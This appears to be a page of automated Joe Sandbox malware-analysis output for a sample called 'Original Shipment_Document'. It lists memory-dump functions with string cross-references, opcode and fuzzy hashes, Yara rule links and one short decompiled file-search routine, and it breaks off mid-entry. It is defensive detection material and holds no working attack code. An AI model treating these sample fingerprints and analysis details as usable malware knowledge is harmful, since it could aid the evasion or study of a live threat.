Function 0328076E Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 3ddc36ab98c48e2dd53103d36a114cf7e1d0469c0984897d2f0dbed141e40509
Instruction ID: 711970914c28ac6d9cffb1f19e2848140011662ecaa6fda1f6cc5c854b8150f1
Opcode Fuzzy Hash: 3ddc36ab98c48e2dd53103d36a114cf7e1d0469c0984897d2f0dbed141e40509
Instruction Fuzzy Hash: E5D1C943E3F315D9E793B271C1517E16680DF27482F22CB16982AB29E23B6F4ACE05C4

Uniqueness

Uniqueness Score: -1.00%

Function 0328083A Relevance: 1.8, Strings: 1, Instructions: 528COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 69245cab18934acbc23d19857963ebf9295cb27187bf501fa6ced802e3c1f197
Instruction ID: 58553d5af3532381cb9eb61c7786ee0f929e67b5a92caeb968c97687eac1717a
Opcode Fuzzy Hash: 69245cab18934acbc23d19857963ebf9295cb27187bf501fa6ced802e3c1f197
Instruction Fuzzy Hash: 1CC1B847E3F71699E793B271C1517E16680DF27082F21CB629C2AB29E2376F0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 0328087E Relevance: 1.8, Strings: 1, Instructions: 513COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: f82cb6e08dc09d55d43ccfb74e40c7f3aff9e3fa828973a6d1d238de861390dc
Instruction ID: 0e599245a40f601b3510827a0dc1c2f690f3197622c3d4937e0fa75d606e3d0a
Opcode Fuzzy Hash: f82cb6e08dc09d55d43ccfb74e40c7f3aff9e3fa828973a6d1d238de861390dc
Instruction Fuzzy Hash: 45C1A743E3F71599E783B271C5517E56680DF27492F21CB62883AB29E2376F0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 032808C4 Relevance: 1.8, Strings: 1, Instructions: 509COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 917ea9f55597dcd990c1ef7f4ab040dafbfb4c75b47314676f3dcacc1b70fccc
Instruction ID: 327e94aa367bd2bf2e85426ac2e4a1ddc4e7d9a69776df3b85a90c690204e39c
Opcode Fuzzy Hash: 917ea9f55597dcd990c1ef7f4ab040dafbfb4c75b47314676f3dcacc1b70fccc
Instruction Fuzzy Hash: AEC1A843E3F71599E793B271C5517E56680DF27482F21CB628C3AB29E2376E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280952 Relevance: 1.8, Strings: 1, Instructions: 506COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 701a7c2e44ea9a9ce566e7f6c7acf83c81001da6075b2819960a81f01d8d398a
Instruction ID: 5ef12a98212739540fb6e08d2fcaeec3fd3c4fb27ddef2bde840861e90e06fab
Opcode Fuzzy Hash: 701a7c2e44ea9a9ce566e7f6c7acf83c81001da6075b2819960a81f01d8d398a
Instruction Fuzzy Hash: 73C19783E3F72599E793B271C5517E55680DF27582F21CB628C2AB29E13B6E09CE05C4

Uniqueness

Uniqueness Score: -1.00%

Function 032807D2 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 3bceaf50687c4f8b928824d962d6d4f9ded183fae7835c473f1bffd56437ea8b
Instruction ID: ec05469bd2334fca568d6db0eed762485a3a7c611bc8e875c3190e372420e4d4
Opcode Fuzzy Hash: 3bceaf50687c4f8b928824d962d6d4f9ded183fae7835c473f1bffd56437ea8b
Instruction Fuzzy Hash: 17D1C943E3F715D9E793B271C1517E16680DF27482F22CB16982AB29E23B5F4ACE05C4

Uniqueness

Uniqueness Score: -1.00%

Function 03280A15 Relevance: 1.7, Strings: 1, Instructions: 470COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 6f084c6a705d254440eb369736946eddc384e75f8610228a048adbec49fd0fd9
Instruction ID: df066baf53e28dd83784b6c7a497f767deac507e17a4cf3e485a4dc7bda2d4df
Opcode Fuzzy Hash: 6f084c6a705d254440eb369736946eddc384e75f8610228a048adbec49fd0fd9
Instruction Fuzzy Hash: 73B1C943E3F72699E793B2B1C5517E56A80CF27482F21CB564C2A729E23B6E09CF05D4

Uniqueness

Uniqueness Score: -1.00%

Function 0328099F Relevance: 1.7, Strings: 1, Instructions: 462COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: bad178db3c38ddf4ad075c9838ca3bced94e4a182aaa27b32662d68fc636c2a2
Instruction ID: 39ff61fff37b1f58c28af22200a824643fc59fd5398dc716c61affddb0882423
Opcode Fuzzy Hash: bad178db3c38ddf4ad075c9838ca3bced94e4a182aaa27b32662d68fc636c2a2
Instruction Fuzzy Hash: 1EB1B943E3F72599E793B271C5517E52A80DF27082F21CB665C3A729E23B6E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 032809DC Relevance: 1.7, Strings: 1, Instructions: 460COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: da170f85e95e3aadfb6fd35edadfa34381f6dd9771a47e01ae1ffe8e269bc8a7
Instruction ID: ebaccb0761f3151d827012340b0d3218bf92fc1730465e301ca9327111e79ced
Opcode Fuzzy Hash: da170f85e95e3aadfb6fd35edadfa34381f6dd9771a47e01ae1ffe8e269bc8a7
Instruction Fuzzy Hash: A6B1C943E3F725D9E793B2B1C1517E56A80CF27082F21CB625C2A729E23B6E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280AD6 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 1b9d2daebb62556936e69b48ef8789b596231ef71af0db32ebd277f7d90bee84
Instruction ID: 75b895b98cbf8de74fcef8a211009034c30c6b30d6ac8a611bc358da7056aff8
Opcode Fuzzy Hash: 1b9d2daebb62556936e69b48ef8789b596231ef71af0db32ebd277f7d90bee84
Instruction Fuzzy Hash: 29B1FB43D3F72699E793B2B185517E56A80CF27082F21CB564C2AB29E2376E0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280BAB Relevance: 1.7, Strings: 1, Instructions: 438COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: cab696b93cc367512fe532a7164ac967171eacdf69fad9af3c81df9d124e973f
Instruction ID: bc1fa82ebe332e43f2a6b3aa617b3a0e5fde7c33ea651e7053337422d409445b
Opcode Fuzzy Hash: cab696b93cc367512fe532a7164ac967171eacdf69fad9af3c81df9d124e973f
Instruction Fuzzy Hash: 1CA1EA93E3F725D9EB93B271C5517E51680CF27082F61CB225C2A72AE23B6E09CE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280B39 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 7147167db450ec2afad01cbdc6b839deb09c52cbbe2d4caa0b7c252ae285e5c7
Instruction ID: 3c96fba2f8176c1d815c4cdca71aeec1de786074d2663682f5a3d877cc9376a8
Opcode Fuzzy Hash: 7147167db450ec2afad01cbdc6b839deb09c52cbbe2d4caa0b7c252ae285e5c7
Instruction Fuzzy Hash: 5EA1EB43E3F725D9EB93B2B1C5513E51680DF27082F61CB265C2A72AE1376E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280B00 Relevance: 1.7, Strings: 1, Instructions: 433COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: a40f2b7fdb689ed8dd9b9b9866b11f6b7c3634a9ca21dae013b8c4f6fd7177db
Instruction ID: ffdfd6db545135e5897995480321a5737ce79a15d94ea44f37e0f44a65e96fc1
Opcode Fuzzy Hash: a40f2b7fdb689ed8dd9b9b9866b11f6b7c3634a9ca21dae013b8c4f6fd7177db
Instruction Fuzzy Hash: D7A1EC43E3F725D9E793B2B1C5517E56680DF27082F21CB225C2A729E2376E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280A8B Relevance: 1.7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: f55bb815c905d09dc84a93c5d7d7e4d1e4f822fa25ba1c1838779cd56352ae46
Instruction ID: ab123fdbb3ccd2fdb16053d76c1407beaea6c695c57a387d8456ce5cfbb21cd5
Opcode Fuzzy Hash: f55bb815c905d09dc84a93c5d7d7e4d1e4f822fa25ba1c1838779cd56352ae46
Instruction Fuzzy Hash: D5B1DA43E3F725D9E793B2B1C5517E56A80DF27082F21CB265C2A729E2376E0ACE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280BF7 Relevance: 1.7, Strings: 1, Instructions: 430COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: a7be07db1fe3dea43848bd14964766c334309d0487f35600cb3dcc24d89fab1d
Instruction ID: 98f2aff895ef7468632bedac09f7a76bc39a02380727525538ef53b2d14ede56
Opcode Fuzzy Hash: a7be07db1fe3dea43848bd14964766c334309d0487f35600cb3dcc24d89fab1d
Instruction Fuzzy Hash: 49A1DB93E3F725C9EB93B271C5517E51640CF27082F61CB265C2A72AE13B6E09DE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280A5D Relevance: 1.7, Strings: 1, Instructions: 430COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 7b6aa12bcf5356362684f8853d4a86e6a898ae5ff99f9cb0edbefe8eb15d8f14
Instruction ID: 9d62fb941ff5997b0db4d42f6241bfa14fc34ca043c5c9f9bbfe9918761bf695
Opcode Fuzzy Hash: 7b6aa12bcf5356362684f8853d4a86e6a898ae5ff99f9cb0edbefe8eb15d8f14
Instruction Fuzzy Hash: 29B1EA43E3F725D9E783B2B1C5517E61680DF27082F21CB125C2AB29E2376E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280B6D Relevance: 1.7, Strings: 1, Instructions: 428COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 7899d7e4e55813cce221f2fc72e01578a5edf05c5ad7351a3f32bc5166fd81f4
Instruction ID: 319a79fcec439b0801c832da964e5fad1245537b7f21f484fbacafb36a18eb3f
Opcode Fuzzy Hash: 7899d7e4e55813cce221f2fc72e01578a5edf05c5ad7351a3f32bc5166fd81f4
Instruction Fuzzy Hash: 43A1DB93E3F725D9EB93B2B1C5513E51680DF27082F61CB265C2A72AE13B6E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280C80 Relevance: 1.7, Strings: 1, Instructions: 409COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 084937fe3ca8b6aca64ed4cfe4e9a00fb7a5c2cdfa73756451823780cc3b6beb
Instruction ID: 986aa3b8117cdb2709f72f13b43bd477b876e19f4f39e36be2ee1dc559af3be6
Opcode Fuzzy Hash: 084937fe3ca8b6aca64ed4cfe4e9a00fb7a5c2cdfa73756451823780cc3b6beb
Instruction Fuzzy Hash: 9591DA82E3F729C9EB93B271C5517E52680CF23082F61CB264C2A72AE1376E09CE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280CC1 Relevance: 1.7, Strings: 1, Instructions: 408COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 61a7d151ebe751d2a70b5dd64d10bed9a41cd035702431fbcc945d77a645686a
Instruction ID: 3d4fdb4583df3d1ffe0e4b5b52b204466ae5d2b4e67c0b7a3945e5fee527fe0b
Opcode Fuzzy Hash: 61a7d151ebe751d2a70b5dd64d10bed9a41cd035702431fbcc945d77a645686a
Instruction Fuzzy Hash: E091CA82E3F725D9EB93B271C5517E52680DF27082F61CB269C2A729E1376E09CF05D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280D08 Relevance: 1.7, Strings: 1, Instructions: 404COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: d6ff4c3aaef41a761a8f0aaa4469142fe4f8b0624c001a12815c316e711b499a
Instruction ID: 4c6261ac876d2235d3714dce08c6c686529f226bcd06ac3f841a234b3a913ad4
Opcode Fuzzy Hash: d6ff4c3aaef41a761a8f0aaa4469142fe4f8b0624c001a12815c316e711b499a
Instruction Fuzzy Hash: 7291CA83E3F726C9EB93B271C5517E51680DF27082F61CB265C2A72AE2375E0ADE04D4

Uniqueness

Uniqueness Score: -1.00%

Function 03280C3B Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

B, xrefs: 03280D3C

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: B
API String ID: 0-4247208901
Opcode ID: 42b7347741ca81479c1201cd441f9730deac841fb08307ff9e7d9b7b04935fcf
Instruction ID: e4ed87d4cf7273eca047cb24e370774269aa4d9ee2cc42977f7c6d55a90c99bd
Opcode Fuzzy Hash: 42b7347741ca81479c1201cd441f9730deac841fb08307ff9e7d9b7b04935fcf
Instruction Fuzzy Hash: 6791CA93E3F725C9EB93B271C5513E52680DF23082F61CB664C2A72AE13B6E09DE05D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E0040644E( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E00406507();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6e339d4586449b2e1fd81fccd2bd3fba9cabc785e87eab91eefa756a7dec7165
Instruction ID: 26775ad4c1080374fb75430f90045566014d5e2c4dab898babe53efe7e17598a
Opcode Fuzzy Hash: 6e339d4586449b2e1fd81fccd2bd3fba9cabc785e87eab91eefa756a7dec7165
Instruction Fuzzy Hash: F3F08271A04104EFD701DBA4DD49AAEB378FF14314F60417BE101F21D0E7B88E129B2A

Uniqueness

Uniqueness Score: -1.00%

Function 0328715C Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

2|, xrefs: 032875AC

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-20170093
Opcode ID: 5f0ce4592332cacfbeddc1511cad009b0f4fb13d5e24ef398925cdb9452ba766
Instruction ID: c8747f0f1fed5f90286ece0834a4ebcd0d77a20f08521b25d34e80cf14d5ecf7
Opcode Fuzzy Hash: 5f0ce4592332cacfbeddc1511cad009b0f4fb13d5e24ef398925cdb9452ba766
Instruction Fuzzy Hash: BFA12376618309DFDB349E2889617EF7BB2AF95340F95452EDCCA9B254D3304986CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032871EE Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

2|, xrefs: 032875AC

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-20170093
Opcode ID: 6c62654a0a7d288d987c55ff84e616a9248b8b9ff9c1c19c0add6464d3c0124c
Instruction ID: 74295c51cb29829852fca7908e3303160a629d1428b39ee429d7e56ff1ad0e4c
Opcode Fuzzy Hash: 6c62654a0a7d288d987c55ff84e616a9248b8b9ff9c1c19c0add6464d3c0124c
Instruction Fuzzy Hash: 3E8110726183499FDB34DF288CA57EE7BB2EF55350F95012EDC8A9B255D3304A86CB02

Uniqueness

Uniqueness Score: -1.00%

Function 03289F53 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

y3j, xrefs: 032834FE

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: y3j
API String ID: 0-3874517853
Opcode ID: 488357358899a8edc9bea6e9fa62f6dfeb83b3e596ccf55bb6ab7ea6303fe0e0
Instruction ID: 86e23351b646a2869a3a6b0ea5abd302f3eda39404c4bd4807df68eeb45f4870
Opcode Fuzzy Hash: 488357358899a8edc9bea6e9fa62f6dfeb83b3e596ccf55bb6ab7ea6303fe0e0
Instruction Fuzzy Hash: 9A71A6796643498FDB24EF38C894BE977F2EF06740F89486DDD898B291D730898AC740

Uniqueness

Uniqueness Score: -1.00%

Function 032872B9 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

2|, xrefs: 032875AC

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-20170093
Opcode ID: 5ef3c8ff53bf844051e95f5d0d0d6dda4e79c3b37cd96d6977e82a71bb095368
Instruction ID: 75d614d7e73706d08d43c55c0b812c5a226934e7430e9b0a967bfd66811de718
Opcode Fuzzy Hash: 5ef3c8ff53bf844051e95f5d0d0d6dda4e79c3b37cd96d6977e82a71bb095368
Instruction Fuzzy Hash: E9612272614319AFDB34EE288C51BEE7BB2EF55390F95402EECCA9B241C3304A85CB01

Uniqueness

Uniqueness Score: -1.00%

Function 032860F9 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

., xrefs: 03286196

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: .
API String ID: 0-2388785791
Opcode ID: 8b2b4eb30428878c431470c915a1c7dc6928b4454d565f4bc30d7bf4d641b6f4
Instruction ID: aa94d6637e4c35e2d705bbbb90dd2f99513b6d85b1be3c38879983978a6d165a
Opcode Fuzzy Hash: 8b2b4eb30428878c431470c915a1c7dc6928b4454d565f4bc30d7bf4d641b6f4
Instruction Fuzzy Hash: 785142B1A043449FDF39DE798C95BEA7BA2BF88310F55422EED8E8B254D7314981CB01

Uniqueness

Uniqueness Score: -1.00%

Function 032873B1 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

2|, xrefs: 032875AC

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-20170093
Opcode ID: 41e859ea3836e062c5646b32de5cf08df29f044c608a428746a0f306246acaa8
Instruction ID: 535639c1ea42b33f5e7923742ef05eb603ac7081555dfb48e9b73a6d24760efb
Opcode Fuzzy Hash: 41e859ea3836e062c5646b32de5cf08df29f044c608a428746a0f306246acaa8
Instruction Fuzzy Hash: 79412176614318AFCB24EE289D55BEB7BB2EF54390F92441EDCCA9B155C3304A81CB42

Uniqueness

Uniqueness Score: -1.00%

Function 03287485 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

2|, xrefs: 032875AC

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: 2|
API String ID: 0-20170093
Opcode ID: 93e0abd66e8257224250c21caebc0204979f6bff76d710ae57ac5beb2c6ab782
Instruction ID: 5f43827e522e12db6e5dc7b876d806bb24eef84d4749e63b6a07e22428ad9410
Opcode Fuzzy Hash: 93e0abd66e8257224250c21caebc0204979f6bff76d710ae57ac5beb2c6ab782
Instruction Fuzzy Hash: 393100335543249BDB20AE398942ADFBBF2FF543A0F82081EDCCAA7151D3714A85CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0328A172 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

(D&, xrefs: 0328A24B

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: (D&
API String ID: 0-103072328
Opcode ID: e4088d59a6bbe10a12db16feead4f250f5753bacf6576db5aecdfd03d32b7db4
Instruction ID: 42ec459adcd798066ac8f1766e62f61f2072af2f931dcad7b258d2220ba71b2a
Opcode Fuzzy Hash: e4088d59a6bbe10a12db16feead4f250f5753bacf6576db5aecdfd03d32b7db4
Instruction Fuzzy Hash: 4C31CE302617468FCF29EF25C9E07D577A1EF46390F58C1AACC8A4F286D7348981CB52

Uniqueness

Uniqueness Score: -1.00%

Function 03281730 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

